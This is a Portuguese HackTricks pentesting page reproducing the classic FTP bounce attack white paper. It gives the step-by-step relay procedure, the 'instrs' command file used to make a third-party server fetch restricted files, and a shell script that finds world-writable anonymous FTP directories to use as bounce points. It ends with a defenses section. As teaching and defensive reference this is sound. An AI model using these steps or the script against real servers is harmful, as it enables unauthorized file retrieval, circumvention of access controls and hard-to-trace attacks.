hacktricks/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md

15 KiB

<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>


# Resumo

Se você tem acesso a um servidor FTP bounce, você pode fazê-lo solicitar arquivos de outro servidor FTP \(onde você conhece algumas credenciais\) e baixar esse arquivo para o seu próprio servidor.

## Requisitos

Credenciais válidas de FTP no servidor FTP Intermediário
Credenciais válidas de FTP no servidor FTP Vítima
Ambos os servidores aceitam o comando PORT \(ataque FTP bounce\)
Você pode escrever dentro de algum diretório do servidor FTP Intermediário
O servidor intermediário terá mais acesso dentro do servidor FTP Vítima do que você por algum motivo \(é isso que você vai explorar\)

## Passos

1. Conecte-se ao seu próprio servidor FTP e torne a conexão passiva \(comando pasv\) para fazê-lo escutar em um diretório onde o serviço da vítima enviará o arquivo
2. Crie o arquivo que será enviado do servidor FTP Intermediário para o servidor Vítima \(o exploit\). Este arquivo será um texto simples dos comandos necessários para autenticar contra o servidor Vítima, mudar o diretório e baixar um arquivo para o seu próprio servidor.
3. Conecte-se ao servidor FTP Intermediário e faça o upload do arquivo anterior
4. Faça o servidor FTP Intermediário estabelecer uma conexão com o servidor vítima e enviar o arquivo de exploit
5. Capture o arquivo no seu próprio servidor FTP
6. Delete o arquivo de exploit do servidor FTP Intermediário



Todas as informações neste post foram extraídas de: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)

# O Ataque FTP Bounce

Este texto discute um dos muitos possíveis usos do "ataque de bounce do servidor FTP". O mecanismo utilizado é provavelmente bem conhecido, mas até o momento o interesse em detalhar ou corrigi-lo parece baixo ou inexistente. Este exemplo em particular demonstra mais uma maneira pela qual a maioria das "restrições de exportação" eletronicamente aplicadas são completamente inúteis e triviais de contornar. Foi escolhido na tentativa de fazer o leitor perceber que existem alguns aspectos realmente mal concebidos do protocolo FTP padrão.

Agradecimentos também a Alain Knaff em imag.fr por uma discussão breve, mas interessante, sobre alguns desses problemas há alguns meses, o que me fez pensar mais profundamente sobre eles.

## O motivo

Você é um usuário em foreign.fr, com endereço IP F.F.F.F, e quer recuperar o código-fonte criptográfico de crypto.com nos EUA. O servidor FTP em crypto.com está configurado para permitir sua conexão, mas negar acesso aos fontes criptográficos porque seu endereço IP de origem é de um site fora dos EUA \[tanto quanto o servidor FTP pode determinar a partir do DNS, isto é\]. De qualquer forma, você não pode recuperar diretamente o que deseja do servidor de crypto.com.

No entanto, crypto.com permitirá que ufred.edu baixe fontes criptográficas porque ufred.edu também está nos EUA. Você sabe que /incoming em ufred.edu é um diretório mundialmente gravável onde qualquer usuário anônimo pode soltar arquivos e lê-los de volta. O endereço IP de crypto.com é C.C.C.C.

## O ataque

Isso pressupõe que você tenha um servidor FTP que faz modo passivo. Abra uma conexão FTP para o endereço IP real da sua própria máquina \[não localhost\] e faça login. Mude para um diretório conveniente onde você tenha acesso de escrita, e então faça:
pasv
stor foobar
Tome nota do endereço e da porta que são retornados do comando PASV, F,F,F,F,X,X. Esta sessão FTP agora ficará inativa, então minimize-a ou mude para outra janela ou algo assim para prosseguir com o resto.

Construa um arquivo contendo comandos do servidor FTP. Vamos chamar este arquivo de "`instrs`". Ele terá a seguinte aparência:
user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F,F,F,F,X,X
retr crypto.tar.Z
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...
Abra uma conexão FTP com ufred.edu, faça login anonimamente e acesse /incoming. Agora digite o seguinte nesta sessão FTP, que transfere uma cópia do seu arquivo "`instrs`" e depois diz ao servidor FTP de ufred.edu para se conectar ao servidor FTP de crypto.com usando seu arquivo como os comandos:
put instrs
port C,C,C,C,0,21
retr instrs

Crypto.tar.Z agora deve aparecer como "foobar" em sua máquina através da sua primeira conexão FTP. Se a conexão com ufred.edu não terminou por si mesma devido a um bug comum do servidor, limpe excluindo "instrs" e saindo. Caso contrário, você terá que se reconectar para terminar.

Discussão

Existem várias variantes disso. Sua conexão ouvinte PASV pode ser aberta em qualquer máquina que você tenha acesso de escrita de arquivo -- a sua própria, outra conexão com ufred.edu ou em algum lugar completamente não relacionado. Na verdade, nem precisa ser um servidor FTP -- qualquer utilitário que escute em uma porta TCP conhecida e leia dados brutos para um arquivo servirá. Uma conexão de dados FTP em modo passivo é simplesmente uma maneira conveniente de fazer isso.

Os nulos extras no final do arquivo de comando são para preencher as janelas TCP em ambas as extremidades da conexão ufred -> crypto e garantir que a conexão de comando permaneça aberta tempo suficiente para que toda a sessão seja executada. Caso contrário, a maioria dos servidores FTP tende a abortar todas as transferências e processamento de comandos quando a conexão de controle é encerrada prematuramente. O tamanho dos dados é suficiente para preencher as janelas de recebimento e transmissão, que em alguns sistemas operacionais são bastante grandes [na ordem de 30K]. Você pode reduzir isso se souber quais sistemas operacionais estão em cada extremidade e a soma dos tamanhos padrão de suas janelas TCP. Ele é dividido em linhas de 250 caracteres para evitar estouro de buffers de comando no servidor alvo -- provavelmente acadêmico, já que você já disse ao servidor para encerrar.

Se crypto.com proibir *qualquer* conexão de cliente FTP de você em foreign.fr e você precisar ver quais arquivos estão onde, você sempre pode colocar "list -aR" no seu arquivo de comando e obter uma listagem de diretório de toda a árvore via ufred.

Você pode ter que recuperar seu arquivo de comando para o servidor FTP do alvo em modo ASCII em vez de modo binário. Alguns servidores FTP podem lidar com novas linhas brutas, mas outros podem precisar de linhas de comando terminadas por pares CRLF. Tenha isso em mente ao recuperar arquivos para daemons que não sejam servidores FTP também.

Outras possibilidades

Apesar do fato de que tais conexões de terceiros são apenas de mão única, elas podem ser usadas para todo tipo de coisa. Métodos semelhantes podem ser usados para postar e-mails e notícias praticamente não rastreáveis, atacar servidores em vários sites, encher discos, tentar pular firewalls e, geralmente, ser irritante e difícil de rastrear ao mesmo tempo. Um pouco de reflexão trará a realização de inúmeras outras possibilidades assustadoras.

Conexões lançadas dessa maneira vêm da porta de origem 20, que alguns sites permitem passar por seus firewalls em um esforço para lidar com o problema "ftp-data". Para alguns propósitos, isso pode ser a próxima melhor coisa a ataques com rota de origem, e é provável que tenha sucesso onde o roteamento de origem falha contra filtros de pacotes. E tudo isso é possível pela forma como a especificação do protocolo FTP foi escrita, permitindo que conexões de controle venham de qualquer lugar e conexões de dados vão para qualquer lugar.

Defesas

Sempre haverá sites na rede com servidores FTP antigos e diretórios graváveis que permitem esse tipo de tráfego, então dizer "consertar todos os servidores FTP" é a resposta errada. Mas você pode proteger o seu próprio contra ser um ponto de salto de terceiros e ter outro usado contra você.

A primeira coisa óbvia a fazer é permitir que um servidor FTP faça conexões de dados apenas para o mesmo host de onde a conexão de controle se originou. Isso não impede o ataque acima, é claro, já que o ouvinte PASV poderia estar facilmente em ufred.edu e, portanto, atender a esse requisito, mas impede que *seu* site seja um ponto de salto potencial. Isso também quebra o conceito de "proxy FTP", mas escondido em algum lugar neste parágrafo está um violino muito pequeno.

A próxima coisa óbvia é proibir conexões de controle FTP que venham de portas reservadas, ou pelo menos da porta 20. Isso impede o cenário acima como declarado.

Ambas as coisas, além do usual sobre bloquear pacotes com rota de origem e outras vias de falsificação, são necessárias para prevenir hacks desse tipo. E pense se você realmente precisa de um diretório "incoming" aberto.

Permitir apenas conexões de dados de cliente em modo passivo é outra possibilidade, mas ainda existem muitos clientes FTP em uso que não são conscientes do modo passivo.

"Um consenso frouxo e código em execução"

Há algum trabalho existente abordando isso disponível aqui em avian.org [e está há vários meses, devo acrescentar] no "arquivo fixkits". Várias modificações para wu-ftpd-2.4 são apresentadas, que incluem código para prevenir e registrar tentativas de usar comandos PORT falsos. Correções de segurança recentes de outros lugares também estão incluídas, juntamente com suporte s/key e várias opções de compilação para reforçar a segurança para aplicações específicas.

Stan Barber em academ.com está trabalhando na fusão dessas e várias outras correções em um verdadeiro lançamento atualizado do wu-ftpd. Há um par de outros esforços divergentes em andamento. Em nenhum lugar é afirmado que qualquer um desses trabalhos esteja completo ainda, mas é um começo em direção a algo que tenho em mente há um tempo -- um lançamento em toda a rede do wu-ftpd-2.5, com contribuições de toda a rede. O servidor wu-ftpd se tornou muito popular, mas precisa urgentemente de mais uma atualização de segurança. Seria bom reunir todas as melhorias em um lugar coordenado, e parece que isso vai acontecer. Tudo isso ainda não ajudará pessoas que insistem em executar servidores fornecidos por fornecedores, é claro.

Verificar a sanidade da porta de origem da conexão do cliente não é implementada especificamente nas correções do servidor FTP, mas em modificações no pacote tcp-wrappers de Wietse, já que esse problema é mais geral. Uma simples opção PORT é adicionada que nega conexões de faixas configuráveis de portas de origem no estágio tcpd, antes de um daemon chamado ser executado.

Algumas dessas coisas são apontadas por /src/fixkits/README na área de FTP anônimo aqui. Leia este roteiro antes de pegar outras coisas.

Notas

Adicionar os nulos no final do arquivo de comando foi a chave para fazer isso funcionar contra uma variedade de daemons. Simplesmente enviar os dados desejados geralmente falharia devido ao fechamento imediato sinalizando ao daemon para desistir.

Se a WUSTL não desistiu completamente do projeto wu-ftpd, eles estão mantendo muito silêncio sobre trabalhos futuros. Bryan O'Connor parece ter muitos outros projetos para atender agora...

Este é um script trivial para encontrar diretórios e arquivos de propriedade do ftp e graváveis pelo mundo em um servidor FTP anônimo baseado em unix. Você ficaria surpreso com quantos desses "pontos de salto" graváveis aparecem após uma curta execução de algo assim. Você terá que verificar mais tarde se pode tanto PUT quanto GET arquivos de tais lugares; alguns servidores protegem arquivos carregados contra leitura. Muitos não o fazem e depois se perguntam por que estão entre os dez principais sites de warez desta semana...

#!/bin/sh
ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
prompt
cd /
dir "-aR" xxx.$$
bye
FOE
# Not smart enough to figure out ftp's numeric UID if no passwd file!
cat -v xxx.$$ | awk '
BEGIN { idir = "/" ; dirp = 0 }
/.:$/ { idir = $0 ; dirp = 1 ; }
/^[-d][-r](......w.|........  *[0-9]* ftp  *)/ {
if (dirp == 1) print idir
dirp = 0
print $0
} '
rm xxx.$$

Suponha que isto possa ser chamado de um white paper. Está disponível em avian.org em /random/ftp-attack e também foi postado em vários lugares relevantes. _H* 950712

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: